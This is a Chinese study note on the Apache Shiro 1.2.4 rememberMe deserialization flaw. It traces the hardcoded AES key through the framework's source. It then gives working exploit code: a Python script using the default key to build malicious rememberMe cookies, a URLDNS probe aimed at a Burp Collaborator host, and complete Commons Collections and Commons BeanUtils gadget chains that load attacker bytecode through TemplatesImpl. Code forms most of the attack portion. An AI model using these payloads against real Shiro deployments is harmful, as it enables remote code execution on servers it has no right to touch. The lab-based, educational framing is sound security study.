Shiro反序列化学习

参考:

Shiro反序列化漏洞笔记一(原理篇)

Shiro反序列化漏洞笔记三(解疑篇)

Pwn a CTF Platform with Java JRMP Gadget

Shiro反序列化

环境搭建

可以直接git下来切换版本,也可以直接用这个链接下载,使用的版本是1.2.4

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

下载后修改samples\web\pom.xml里面的jstl版本为1.2

<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>

导入为maven项目后配置下tomcat即可启动

漏洞原理

当用户勾选Remember Me登陆时,Shiro会获取用户请求的Cookie中的rememberMe的值,然后对rememberMe进行Base64解码并使用AES进行解密,最后对解密的值进行反序列化。而由于AES加密的Key是硬编码的默认Key,因此攻击者可通过使用默认的Key对恶意构造的序列化数据进行加密,最终会对用户构造的恶意数据进行反序列化。

我们首先在全局搜索rememberme字段可以找到CookieRememberMeManager.java,在里面可以很轻易地找到带有Serialized字样的getRememberedSerializedIdentity函数

Shiro-1.png

看一下逻辑其实就是获取对应的Cookie值然后Base64解密。

然后看一下发现它是被AbstractRememberMeManager.getRememberedPrincipals调用

Shiro-2.png

这个函数主要就是把解密后的内容转换成认证信息,跟进图中的红框看一下

Shiro-3.png

可以很明显的看到里面有一个deserialize函数,跟进去看一下

Shiro-4.png
Shiro-5.png
Shiro-6.png

一直跟进到最后发现调用了DefaultSerializer中的deserialize,而其中使用了原生的反序列化,所以到这里其实已经可以确定存在反序列化漏洞了,如果存在相应CC依赖的话就可以打CC链

接下来就要考虑利用了,回到前面的convertBytesToPrincipals函数,它第一步是进行一个解密,然后才进行了反序列化,跟进到decrypt函数看一下

Shiro-7.png

这里其实就是AES的加解密,然后的话如果能知道key的话就能够构造我们自己的数据进行反序列化,接下来就去找这个key,跟进到getDecryptionCipherKey

Shiro-8.png

发现是一个常量,去看哪里对它进行了赋值

Shiro-9.png

接着去找哪里调用了这个函数,一步步往上走

Shiro-10.png

Shiro-11.png

这里我们发现一个常量,跟进去看一下可以发现key是一个常量

Shiro-12.png

现在找到了key,要进行AES加密构造数据还需要一个初始向量,我们回到前面的decrypt函数,跟进到cipherService.decrypt中去,发现是一个接口,接着走可以找到JcaCipherService

Shiro-13.png

其实就是把我们传进来的数据的前面的字节复制一下当作iv然后再进行解密,因此我们加密时候的iv是可以随便取的。

到这里其实keyiv都已经知道了,只需要把对应依赖的payload构造出来进行加密,然后放到Cookie中的rememberMe字段里就可以利用Shiro的反序列化漏洞了(这里注意下后面利用的时候要删掉Cookie中的JSESSION字段)。

漏洞复现

如果调试运行报Error opening zip file or JAR manifest missing : xxxx\gragent.jar,可以看这篇博客解决

放一个网上的AES脚本

import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES

def get_file_data(filename):
with open(filename,'rb') as f:
data = f.read()
return data

def aes_enc(data):
BS = AES.block_size
# 字符串
# pad = lambda s: (s + ((BS -len(s) % BS) * chr(BS - len(s) % BS))).encode()
# 文件流
pad = lambda s: s + ((BS -len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
# plaintext = bytes.decode(plaintext)
plaintext = unpad(plaintext)
return plaintext

if __name__ == '__main__':
# print(aes_enc("aaa"))
# enc_data = b"4xdG62dNT+61tUNef+iKpwrxzoNJydJHWDLpHljE4QQ="
# plaintext = aes_dec(enc_data)
# print(plaintext)
data = get_file_data("ser.bin")
print(aes_enc(data))

URLDNS

掏出我的祖传exp

package cn.evo1.cc;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class URLDNSTest {
public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL("http://zehh8m1ntruwjn42ueft0zdn2e84wt.burpcollaborator.net");
// 修改初始的hashCode,使得序列化时不会触发
Class c = url.getClass();
Field urlfield = c.getDeclaredField("hashCode");
urlfield.setAccessible(true);
urlfield.set(url,1234);
hashMap.put(url,1);
urlfield.set(url,-1);

serialize(hashMap);
// unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

生成ser.bin后用刚才的AES脚本加密,把得到的payload放到Cookie中里(记得删除JSESSIONID),发包即可

URLDNS.png

CC链

samples\web\pom.xml里面添加一些依赖

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

这里在如果直接使用CommonCollections3、5、6、7链会导致反序列化漏洞无法利用成功,具体原因可以看一下Shiro反序列化漏洞笔记三(解疑篇)这篇博客。简单来说就是tomcat的原因导致Transformer数组不能用了,所以要找一个不使用该数组的方法,最后使用CC3+CC2+CC6组合出了一条链

package cn.evo1.shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class ShiroCC {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
// CC3
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"evo1");

byte[] code = Files.readAllBytes(Paths.get("target/classes/cn/evo1/cc/Calc.class"));
byte[][] codes = {code};
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

// CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

// CC6
HashMap<Object,Object> map = new HashMap<>();
// 改成ConstantTransformer是为了防止put的时候就被使用
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,templates);

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"evo2");

// 序列化的时候需要这个key来过掉LazyMap.get中的map.containsKey(key) == false
// 但是序列化后这个key会被放进去,所以需要再去掉
lazyMap.remove(templates);

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,invokerTransformer);

serialize(map2);
// unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

也可以用JRMP这条链子,可以参考这篇Pwn a CTF Platform with Java JRMP Gadget

CB链

这里先本地建个项目测试下,添加个依赖保持和Shiro项目的版本一致

<!-- https://mvnrepository.com/artifact/commons-beanutils/commons-beanutils -->
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>

先创建一个JavaBean样式的Person

package cn.evo1.shiro;

public class Person {

private String name;
private int age;

public Person() {
}

public Person(String name, int age) {
this.name = name;
this.age = age;
}

/**
* 获取
* @return name
*/
public String getName() {
return name;
}

/**
* 设置
* @param name
*/
public void setName(String name) {
this.name = name;
}

/**
* 获取
* @return age
*/
public int getAge() {
return age;
}

/**
* 设置
* @param age
*/
public void setAge(int age) {
this.age = age;
}

public String toString() {
return "Person{name = " + name + ", age = " + age + "}";
}
}

写一个例子

package cn.evo1.shiro;

import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class ShiroCB {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Person person = new Person("evo1", 21);
// 默认方法
System.out.println(person.getName());
// 借助CB可以简化为
System.out.println(PropertyUtils.getProperty(person,"name"));
}
}

调试看一下流程

CB-1.png
CB-2.png
CB-3.png
CB-4.png
CB-5.png
CB-6.png

考虑这种getXxxx的样式,可以想到TemplatesImpl中的getOutputProperties,借助该方法写一下exp

package cn.evo1.shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class ShiroCB {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException, TransformerConfigurationException, ClassNotFoundException {
// PriorityQueue.readObject->BeanComparator.compare->PropertyUtils.getProperty->TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer
// CC3
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"evo1");

byte[] code = Files.readAllBytes(Paths.get("target/classes/cn/evo1/cc/Calc.class"));
byte[][] codes = {code};
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();
// templates.getOutputProperties();
// PropertyUtils.getProperty(templates,"outputProperties");

// CB
// 这里用AttrCompare是因为默认的Comparator为ComparableComparator
// 这个类是在CC里面的,如果Shiro没有CC依赖的话就没法用了
// 而AttrCompare是jdk里的并且也继承了Serializable,所以使用这个
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
// beanComparator.compare(templates,new Object());

// CC2
// 这里可以先用transformingComparator来防止序列化的时候报错,后面再使用反射改回来
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add("evo1");

Class<PriorityQueue> c = PriorityQueue.class;
Field comparator = c.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,beanComparator);

serialize(priorityQueue);
// unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}